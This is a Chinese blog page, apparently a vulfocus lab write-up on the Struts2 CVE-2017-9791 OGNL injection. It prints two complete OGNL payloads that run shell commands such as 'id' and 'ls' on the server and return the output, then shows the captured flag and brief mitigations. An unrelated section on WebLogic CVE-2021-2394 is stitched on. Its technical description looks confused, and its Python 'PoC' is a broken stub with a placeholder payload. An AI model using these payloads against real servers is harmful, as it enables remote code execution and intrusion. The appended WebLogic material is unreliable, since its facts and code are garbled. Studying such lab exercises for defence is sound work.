vulfocus——struts2-cve_2017_9791

本文揭示了Struts2框架中的OGNL表达式注入漏洞,通过示例演示如何复现并利用此漏洞执行命令,同时提供了漏洞防护建议。

描述

Struts2是一个基于MVC设计模式Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。本质问题出在struts2-struts1-plugin包Struts1Action.java文件中,Struts1Action类中的execute方法调用了getText函数,这个函数会执行ognl表达式,更为严重的是getText的输入内容是攻击者可控的。

复现

1.打开靶场环境

2.访问存在漏洞的路径 /integration/saveGangster.action 

3.输入表达式${1+2},提交后,发现运算在后台被执行(下面两个框随便填写)

 

4. 大佬构建的命令执行pyload,执行命令为id

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

 

5.把id换成pwd,查看当前目录,发现当前目录是tmp

 

6. 再换成命令ls,然后报错了,在里面看到一串字符,想试试看,是不是flag,结果真的对了

 

7.将payload进行url转换,抓包然后替换,再发送,就得到flag了

大佬构造的payload:

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

flag-{bmh8d5b403a-e292-48e8-875a-6a76e45e3792}

8.我们还可以使用工具来获取flag

 

漏洞防护:1)停用Struts2-struts1-plugin插件、showcase.war;2)将直接传递原始值改为使用资源键

### 关于WebLogic CVE-2021-2394漏洞的信息 CVE-2021-2394 是 Oracle WebLogic Server 中的一个反序列化漏洞,允许未经身份验证的攻击者通过 T3 协议发送恶意数据包来实现远程代码执行 (RCE)[^6]。此漏洞的影响范围包括以下版本: - **Oracle WebLogic Server 12.1.3** - **Oracle WebLogic Server 12.2.1.x** #### 漏洞原理 该漏洞源于 WebLogic 的 `wls9_async_response` 组件未能正确处理传入的数据流,在解析过程中存在反序列化的安全隐患。由于未经过充分的身份验证校验,攻击者可以构造特定的 Java 对象并触发 RCE 行为。 --- ### VulFocus 环境搭建指南 VulFocus 提供了一个便捷的方式来快速部署漏洞复现环境。以下是针对 CVE-2021-2394 的具体操作方法: #### 步骤说明 1. 安装 Docker 和 Docker Compose 工具。 如果尚未安装这些工具,请运行以下命令完成安装: ```bash sudo apt-get update && sudo apt-get install -y docker.io docker-compose ``` 2. 下载目标镜像。 使用官方提供的脚本拉取对应漏洞容器: ```bash git clone https://github.com/vulfocus/vulfocus.git cd vulfocus/weblogic-cve-2021-2394/ sudo docker-compose up -d ``` 3. 启动成功后访问服务地址,默认端口通常设置为 `7001` 或其他指定配置项中的值。 > 注意事项:确保主机防火墙已开放必要通信端口,并确认资源充足以支持虚拟机正常启动[^5]。 --- ### Exploit PoC 实施流程 目前公开可用的一种 POC 脚本如下所示,基于 Python 编写而成用于测试目的仅限合法授权范围内使用! ```python import socket from struct import pack def create_exploit_payload(): # 构造payload部分省略实际细节... payload = b"\x00\x00" + ... # 自定义shellcode填充区域 return payload target_ip = "192.168.1.10" port = 7001 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, port)) header = pack(">I", len(create_exploit_payload())) s.send(header + create_exploit_payload()) except Exception as e: print(f"[!] Error occurred: {e}") finally: s.close() ``` 上述代码片段展示了如何向受影响服务器投递精心设计好的字节码从而达成控制意图[^7]。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值